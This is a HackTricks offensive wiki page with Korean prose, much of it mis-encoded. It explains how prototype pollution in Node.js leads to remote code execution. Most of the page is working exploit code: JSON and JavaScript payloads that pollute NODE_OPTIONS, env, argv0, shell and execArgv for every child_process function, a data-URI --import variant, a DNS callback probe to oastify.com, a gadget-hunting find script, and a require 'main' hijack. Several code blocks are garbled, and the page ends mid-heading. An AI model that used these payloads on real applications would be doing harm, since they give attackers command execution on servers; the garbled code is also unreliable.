Prototype Pollution to RCE
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ทจ์ฝํ ์ฝ๋
์ค์ JS๊ฐ ๋ค์๊ณผ ๊ฐ์ ์ฝ๋๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ์์ํด ๋ณด์ธ์:
const { execSync, fork } = require("child_process")
function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(target) {
return merge({}, target)
}
// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)
// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
PP2RCE via env vars
PP2RCE๋ Prototype Pollution to RCE (์๊ฒฉ ์ฝ๋ ์คํ)์ ์๋ฏธํฉ๋๋ค.
์ด writeup์ ๋ฐ๋ฅด๋ฉด, **child_process**์ ์ด๋ค ๋ฉ์๋(์: fork ๋๋ spawn ๋ฑ)๋ฅผ ์ฌ์ฉํ์ฌ ํ๋ก์ธ์ค๊ฐ ์์ฑ๋ ๋, normalizeSpawnArguments ๋ฉ์๋๋ฅผ ํธ์ถํ๋ฉฐ, ์ด๋ ์๋ก์ด env vars๋ฅผ ์์ฑํ๊ธฐ ์ํ ํ๋กํ ํ์
์ค์ผ ๊ฐ์ ฏ์
๋๋ค:
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด **envPairs**๋ฅผ ์ค์ผ์์ผ .env ์์ฑ์ ํตํด ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ์ ์ ์์ต๋๋ค.
__proto__ ์ค์ผ
Warning
child_process๋ผ์ด๋ธ๋ฌ๋ฆฌ์normalizeSpawnArgumentsํจ์๊ฐ ์๋ํ๋ ๋ฐฉ์ ๋๋ฌธ์, ํ๋ก์ธ์ค์ ์๋ก์ด env ๋ณ์๋ฅผ ์ค์ ํ๊ธฐ ์ํด ๋ฌด์ธ๊ฐ๋ฅผ ํธ์ถํ ๋ ๋ฌด์์ด๋ ์ค์ผ์ํค๊ธฐ๋ง ํ๋ฉด ๋ฉ๋๋ค.
์๋ฅผ ๋ค์ด,__proto__.avar="valuevar"๋ฅผ ์คํํ๋ฉด ํ๋ก์ธ์ค๋avar๋ผ๋ ์ด๋ฆ์ ๋ณ์๋ฅผvaluevar๊ฐ์ผ๋ก ๊ฐ์ง ์ํ๋ก ์์ฑ๋ฉ๋๋ค.๊ทธ๋ฌ๋ env ๋ณ์๊ฐ ์ฒซ ๋ฒ์งธ๊ฐ ๋๊ธฐ ์ํด์๋
.env์์ฑ์ ์ค์ผ์์ผ์ผ ํ๋ฉฐ (์ผ๋ถ ๋ฐฉ๋ฒ์์๋ง) ๊ทธ ๋ณ์๊ฐ ์ฒซ ๋ฒ์งธ๊ฐ ๋ฉ๋๋ค (๊ณต๊ฒฉ์ ํ์ฉํจ).๊ทธ๋์ ๋ค์ ๊ณต๊ฒฉ์์ **
NODE_OPTIONS**๋.env์์ ์์ต๋๋ค.
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
constructor.prototype ์ค์ผ
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
PP2RCE via env vars + cmdline
์ด์ ๊ณผ ์ ์ฌํ ํ์ด๋ก๋๊ฐ ์ด ๊ธ์์ ์ ์๋์์ต๋๋ค. ์ฃผ์ ์ฐจ์ด์ ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- nodejs payload๋ฅผ ํ์ผ
/proc/self/environ์ ์ ์ฅํ๋ ๋์ , **/proc/self/cmdline**์ argv0์ ์ ์ฅํฉ๋๋ค. - ๊ทธ๋ฐ ๋ค์, **
NODE_OPTIONS**๋ฅผ ํตํด ํ์ผ/proc/self/environ์ ์๊ตฌํ๋ ๋์ , **/proc/self/cmdline**์ ์๊ตฌํฉ๋๋ค.
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
Filesystem-less PP2RCE via --import (Node โฅ 19)
Note
Node.js 19๋ถํฐ CLI ํ๋๊ทธ
--import๋ฅผNODE_OPTIONS๋ฅผ ํตํด--require์ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ ๋ฌํ ์ ์์ต๋๋ค.--require์๋ ๋ฌ๋ฆฌ,--import๋ data-URI๋ฅผ ์ดํดํ๋ฏ๋ก ๊ณต๊ฒฉ์๋ ํ์ผ ์์คํ ์ ๋ํ ์ฐ๊ธฐ ๊ถํ์ด ์ ํ ํ์ํ์ง ์์ต๋๋ค. ์ด๋ ์ ๊ธ๋ ๋๋ ์ฝ๊ธฐ ์ ์ฉ ํ๊ฒฝ์์ ์ฅ์น๋ฅผ ํจ์ฌ ๋ ์ ๋ขฐํ ์ ์๊ฒ ๋ง๋ญ๋๋ค.์ด ๊ธฐ์ ์ 2023๋ 5์ PortSwigger ์ฐ๊ตฌ์ ์ํด ์ฒ์ ๊ณต๊ฐ์ ์ผ๋ก ๋ฌธ์ํ๋์์ผ๋ฉฐ ์ดํ ์ฌ๋ฌ CTF ์ฑ๋ฆฐ์ง์์ ์ฌํ๋์์ต๋๋ค.
๊ณต๊ฒฉ์ ์์์ ๋ณด์ฌ์ค --require /proc/self/* ํธ๋ฆญ๊ณผ ๊ฐ๋
์ ์ผ๋ก ๋์ผํ์ง๋ง, ํ์ผ์ ๊ฐ๋ฆฌํค๋ ๋์ ํ์ด๋ก๋๋ฅผ base64๋ก ์ธ์ฝ๋ฉ๋ data: URL์ ์ง์ ์ฝ์
ํฉ๋๋ค:
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) โ same as earlier examples
fork("./a_file.js");
์ทจ์ฝํ merge/clone sink๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ํ์ด์ง ์๋จ์ ๋์ ์์ต๋๋ค:
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// โ creates /tmp/pp2rce_import
์ --import๊ฐ ๋์์ด ๋๋๊ฐ
- ๋์คํฌ ์ํธ์์ฉ ์์ โ ํ์ด๋ก๋๋ ํ๋ก์ธ์ค ๋ช ๋ น์ค๊ณผ ํ๊ฒฝ ๋ด์์ ์์ ํ ์ด๋ํฉ๋๋ค.
- ESM ์ ์ฉ ํ๊ฒฝ์์ ์๋ โ
--import๋ ECMAScript ๋ชจ๋์ ๊ธฐ๋ณธ์ผ๋ก ํ๋ ์ต์ Node ๋ฆด๋ฆฌ์ค์์ JavaScript๋ฅผ ๋ฏธ๋ฆฌ ๋ก๋ํ๋ ํ์ค ๋ฐฉ๋ฒ์ ๋๋ค. - ์ผ๋ถ
--requireํ์ฉ ๋ชฉ๋ก ์ฐํ โ ๋ช๋ช ๊ฐํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋--require๋ง ํํฐ๋งํ๊ณ--import๋ ๊ทธ๋๋ก ๋ก๋๋ค.
Warning
NODE_OPTIONS์์--import์ง์์ ์ต์ Node 22.2.0 (2025๋ 6์)์์๋ ์ฌ์ ํ ์กด์ฌํฉ๋๋ค. Node ์ฝ์ด ํ์ ํฅํ ๋ฐ์ดํฐ URI๋ฅผ ์ ํํ๋ ๊ฒ์ ๋ํด ๋ ผ์ํ๊ณ ์์ง๋ง, ์์ฑ ์์ ์์๋ ์ํ ์กฐ์น๊ฐ ์์ต๋๋ค.
DNS ์ํธ์์ฉ
๋ค์ ํ์ด๋ก๋๋ฅผ ์ฌ์ฉํ์ฌ ์ด์ ์ ๋ ผ์ํ NODE_OPTIONS ํ๊ฒฝ ๋ณ์๋ฅผ ์ ์ฉํ๊ณ DNS ์ํธ์์ฉ์ผ๋ก ์๋ ์ฌ๋ถ๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
๋๋ WAF๊ฐ ๋๋ฉ์ธ์ ์์ฒญํ์ง ์๋๋ก ํ๋ ค๋ฉด:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
PP2RCE ์ทจ์ฝ์ child_process ํจ์
์ด ์น์
์์๋ child_process์ ๊ฐ ํจ์๋ฅผ ๋ถ์ํ์ฌ ์ฝ๋๋ฅผ ์คํํ๊ณ ํด๋น ํจ์๋ฅผ ๊ฐ์ ๋ก ์ฝ๋ ์คํํ๋๋ก ํ๋ ๊ธฐ์ ์ ์ฌ์ฉํ ์ ์๋์ง ์ดํด๋ณด๊ฒ ์ต๋๋ค:
exec ์
์ฉ
```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)
// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require(โchild_processโ) p = {} p.proto.shell = โ/proc/self/exeโ //You need to make sure the node executable is executed p.proto.argv0 = โconsole.log(require(โchild_processโ).execSync(โtouch /tmp/exec-cmdlineโ).toString())//โ p.proto.NODE_OPTIONS = โโrequire /proc/self/cmdlineโ var proc = exec(โsomethingโ)
// stdin trick - not working // Not using stdin
// Windows // Working after kEmptyObject (fix) const { exec } = require(โchild_processโ) p = {} p.proto.shell = โ\\127.0.0.1\C$\Windows\System32\calc.exeโ var proc = exec(โsomethingโ)
</details>
<details>
<summary><strong><code>execFile</code> ์ทจ์ฝ์ ์ด์ฉ</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")
// stdin trick - not working
// Not using stdin
// Windows - not working
**execFile**๊ฐ ์๋ํ๋ ค๋ฉด ๋ฐ๋์ node๋ฅผ ์คํํด์ผ NODE_OPTIONS๊ฐ ์๋ํฉ๋๋ค.
node๋ฅผ ์คํํ์ง ์๋ ๊ฒฝ์ฐ, ์คํ ์ค์ธ ๊ฒ์ ํ๊ฒฝ ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ ์คํ ๋ฐฉ์์ ๋ณ๊ฒฝํ ์ ์๋ ๋ฐฉ๋ฒ์ ์ฐพ์์ผ ํฉ๋๋ค.
๋ค๋ฅธ ๊ธฐ์ ๋ค์ ์ด ์๊ตฌ ์ฌํญ ์์ด ์๋ํฉ๋๋ค. ์๋ํ๋ฉด ํ๋กํ ํ์
์ค์ผ์ ํตํด ์คํ๋๋ ๊ฒ์ ์์ ํ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค. (์ด ๊ฒฝ์ฐ, .shell์ ์ค์ผ์ํฌ ์ ์๋๋ผ๋, ์คํ๋๋ ๊ฒ์ ์ค์ผ์ํฌ ์๋ ์์ต๋๋ค).
fork exploitation
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")
// cmdline trick - working // Working after kEmptyObject (fix) const { fork } = require(โchild_processโ) p = {} p.proto.argv0 = โconsole.log(require(โchild_processโ).execSync(โtouch /tmp/fork-cmdlineโ).toString())//โ p.proto.NODE_OPTIONS = โโrequire /proc/self/cmdlineโ var proc = fork(โsomethingโ)
// stdin trick - not working // Not using stdin
// execArgv trick - working // Only the fork method has this attribute // Working after kEmptyObject (fix) const { fork } = require(โchild_processโ) b = {} b.proto.execPath = โ/bin/shโ b.proto.argv0 = โ/bin/shโ b.proto.execArgv = [โ-cโ, โtouch /tmp/fork-execArgvโ] var proc = fork(โ./a_file.jsโ)
// Windows // Working after kEmptyObject (fix) const { fork } = require(โchild_processโ) b = {} b.proto.execPath = โ\\127.0.0.1\C$\Windows\System32\calc.exeโ var proc = fork(โ./a_file.jsโ)
</details>
<details>
<summary><strong><code>spawn</code> ์ทจ์ฝ์ ์ด์ฉ</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working
// Not using stdin
// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync ์ทจ์ฝ์ ์ด์ฉ
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")
// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execFileSync } = require(โchild_processโ) p = {} p.proto.shell = โ/proc/self/exeโ //You need to make sure the node executable is executed p.proto.argv0 = โconsole.log(require(โchild_processโ).execSync(โtouch /tmp/execFileSync-cmdlineโ).toString())//โ p.proto.NODE_OPTIONS = โโrequire /proc/self/cmdlineโ var proc = execFileSync(โsomethingโ)
// stdin trick - working // Working after kEmptyObject (fix) const { execFileSync } = require(โchild_processโ) p = {} p.proto.argv0 = โ/usr/bin/vimโ p.proto.shell = โ/usr/bin/vimโ p.proto.input = โ:!{touch /tmp/execFileSync-stdin}\nโ var proc = execFileSync(โsomethingโ)
// Windows // Working after kEmptyObject (fix) const { execSync } = require(โchild_processโ) p = {} p.proto.shell = โ\\127.0.0.1\C$\Windows\System32\calc.exeโ p.proto.argv0 = โ\\127.0.0.1\C$\Windows\System32\calc.exeโ var proc = execSync(โsomethingโ)
</details>
<details>
<summary><strong><code>execSync</code> ์ทจ์ฝ์ ์ด์ฉ</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync ์
์ฉ
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(โchild_processโ) p = {} p.proto.shell = โ/proc/self/exeโ //You need to make sure the node executable is executed p.proto.argv0 = โconsole.log(require(โchild_processโ).execSync(โtouch /tmp/spawnSync-cmdlineโ).toString())//โ p.proto.NODE_OPTIONS = โโrequire /proc/self/cmdlineโ var proc = spawnSync(โsomethingโ) //var proc = spawnSync(โsomethingโ,[],{โcwdโ:โ/tmpโ}); //To work after kEmptyObject (fix)
// stdin trick - working // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(โchild_processโ) p = {} p.proto.argv0 = โ/usr/bin/vimโ p.proto.shell = โ/usr/bin/vimโ p.proto.input = โ:!{touch /tmp/spawnSync-stdin}\nโ var proc = spawnSync(โsomethingโ) //var proc = spawnSync(โsomethingโ,[],{โcwdโ:โ/tmpโ}); //To work after kEmptyObject (fix)
// Windows // NOT working after require(fix) without options const { spawnSync } = require(โchild_processโ) p = {} p.proto.shell = โ\\127.0.0.1\C$\Windows\System32\calc.exeโ var proc = spawnSync(โsomethingโ) //var proc = spawnSync(โsomethingโ,[],{โcwdโ:โC:\โ}); //To work after kEmptyObject (fix)
</details>
## ๊ฐ์ ์คํฐ
์ด์ ์์ ์์๋ ๊ฐ์ ฏ์ ํธ๋ฆฌ๊ฑฐํ๋ ๋ฐฉ๋ฒ์ ๋ณด์๊ณ , **`spawn`**์ ํธ์ถํ๋ ๊ธฐ๋ฅ์ด **์กด์ฌํด์ผ** ํ๋ค๋ ๊ฒ์ ์์์ต๋๋ค (๋ฌด์ธ๊ฐ๋ฅผ ์คํํ๊ธฐ ์ํด ์ฌ์ฉ๋๋ ๋ชจ๋ **`child_process`** ๋ฉ์๋๋ ์ด๋ฅผ ํธ์ถํฉ๋๋ค). ์ด์ ์์ ์์๋ **์ฝ๋์ ์ผ๋ถ**์์ง๋ง, ์ฝ๋๊ฐ **ํธ์ถํ์ง ์๋** ๊ฒฝ์ฐ๋ ์ด๋ป๊ฒ ๋ ๊น์?
### require ํ์ผ ๊ฒฝ๋ก ์ ์ด
์ด [**๋ค๋ฅธ ๊ธ**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)์์ ์ฌ์ฉ์๋ **`require`**๊ฐ ์คํ๋ ํ์ผ ๊ฒฝ๋ก๋ฅผ ์ ์ดํ ์ ์์ต๋๋ค. ์ด ์๋๋ฆฌ์ค์์ ๊ณต๊ฒฉ์๋ **์์คํ
๋ด์์ `.js` ํ์ผ์ ์ฐพ์์ผ** ํ๋ฉฐ, ํด๋น ํ์ผ์ด **๊ฐ์ ธ์ฌ ๋ ์คํฐ ๋ฉ์๋๋ฅผ ์คํํฉ๋๋ค.**\
๊ฐ์ ธ์ฌ ๋ ์คํฐ ํจ์๋ฅผ ํธ์ถํ๋ ์ผ๋ฐ์ ์ธ ํ์ผ์ ๋ช ๊ฐ์ง ์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- **์๋์์ ๋ ๋ง์ ํ์ผ ์ฐพ๊ธฐ**
๋ค์ ๊ฐ๋จํ ์คํฌ๋ฆฝํธ๋ **ํจ๋ฉ ์์ด** **child_process**์ **ํธ์ถ**์ ๊ฒ์ํฉ๋๋ค (ํจ์ ๋ด์ ํธ์ถ์ ํ์ํ์ง ์๊ธฐ ์ํด):
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
์ด์ ์คํฌ๋ฆฝํธ์์ ๋ฐ๊ฒฌ๋ ํฅ๋ฏธ๋ก์ด ํ์ผ
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') }) - node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' }) - node_modules/npm/scripts/changelog.js:16:
const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/) - node_modules/detect-libc/bin/detect-libc.js:18:
process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status); - node_modules/jest-expo/bin/jest.js:26:
const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' }); - node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') }) - node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' }) - node_modules/runtypes/scripts/format.js:13:
const npmBinPath = execSync('npm bin').toString().trim(); - node_modules/node-pty/scripts/publish.js:31:
const result = cp.spawn('npm', args, { stdio: 'inherit' });
ํ๋กํ ํ์ ์ค์ผ์ ํตํ require ํ์ผ ๊ฒฝ๋ก ์ค์
Warning
์ด์ ๊ธฐ์ ์ ์ฌ์ฉ์๊ฐ ํ์ผ์ ๊ฒฝ๋ก๋ฅผ ์ ์ดํด์ผ ํ๋ค๋ ์ ์ ๊ฐ ํ์ํฉ๋๋ค. ํ์ง๋ง ์ด๊ฒ์ด ํญ์ ์ฌ์ค์ ์๋๋๋ค.
๊ทธ๋ฌ๋ ์ฝ๋๊ฐ ํ๋กํ ํ์
์ค์ผ ํ์ require๋ฅผ ์คํํ ๊ฒฝ์ฐ, ๊ฒฝ๋ก๋ฅผ ์ ์ดํ์ง ์๋๋ผ๋ ํ๋กํ ํ์
์ค์ผ์ ์
์ฉํ์ฌ ๋ค๋ฅธ ๊ฒฝ๋ก๋ฅผ ๊ฐ์ ๋ก ์ง์ ํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ์ฝ๋ ๋ผ์ธ์ด require("./a_file.js") ๋๋ require("bytes")์ ๊ฐ๋๋ผ๋ ์ค์ผ๋ ํจํค์ง๋ฅผ requireํ ๊ฒ์
๋๋ค.
๋ฐ๋ผ์ ํ๋กํ ํ์ ์ค์ผ ํ์ require๊ฐ ์คํ๋๊ณ spawn ํจ์๊ฐ ์์ผ๋ฉด, ๊ณต๊ฒฉ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ์์คํ
๋ด์
.jsํ์ผ์ ์ฐพ์ต๋๋ค. ์ด ํ์ผ์ด require๋ ๋child_process๋ฅผ ์ฌ์ฉํ์ฌ ๋ฌด์ธ๊ฐ๋ฅผ ์คํํฉ๋๋ค. - ๊ณต๊ฒฉํ๋ ํ๋ซํผ์ ํ์ผ์ ์ ๋ก๋ํ ์ ์๋ค๋ฉด, ๊ทธ๋ฐ ํ์ผ์ ์ ๋ก๋ํ ์ ์์ต๋๋ค.
- ๊ฒฝ๋ก๋ฅผ ์ค์ผ์์ผ
.jsํ์ผ์ require ๋ก๋๋ฅผ ๊ฐ์ ํฉ๋๋ค. ์ด ํ์ผ์ child_process๋ก ๋ฌด์ธ๊ฐ๋ฅผ ์คํํ ๊ฒ์ ๋๋ค. - ํ๊ฒฝ/๋ช ๋ น์ค์ ์ค์ผ์์ผ child_process ์คํ ํจ์๊ฐ ํธ์ถ๋ ๋ ์์์ ์ฝ๋๋ฅผ ์คํํฉ๋๋ค (์ด๊ธฐ ๊ธฐ์ ์ฐธ์กฐ).
์ ๋ require
์ํ๋ require๊ฐ ์ ๋์ (require("bytes"))์ด๊ณ ํจํค์ง๊ฐ package.json ํ์ผ์ main์ ํฌํจํ์ง ์๋ ๊ฒฝ์ฐ, main ์์ฑ์ ์ค์ผ์์ผ require๊ฐ ๋ค๋ฅธ ํ์ผ์ ์คํํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค.
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Install package bytes (it doesn't have a main in package.json)
// npm install bytes
// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"
// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
์๋ ๊ฒฝ๋ก - 1
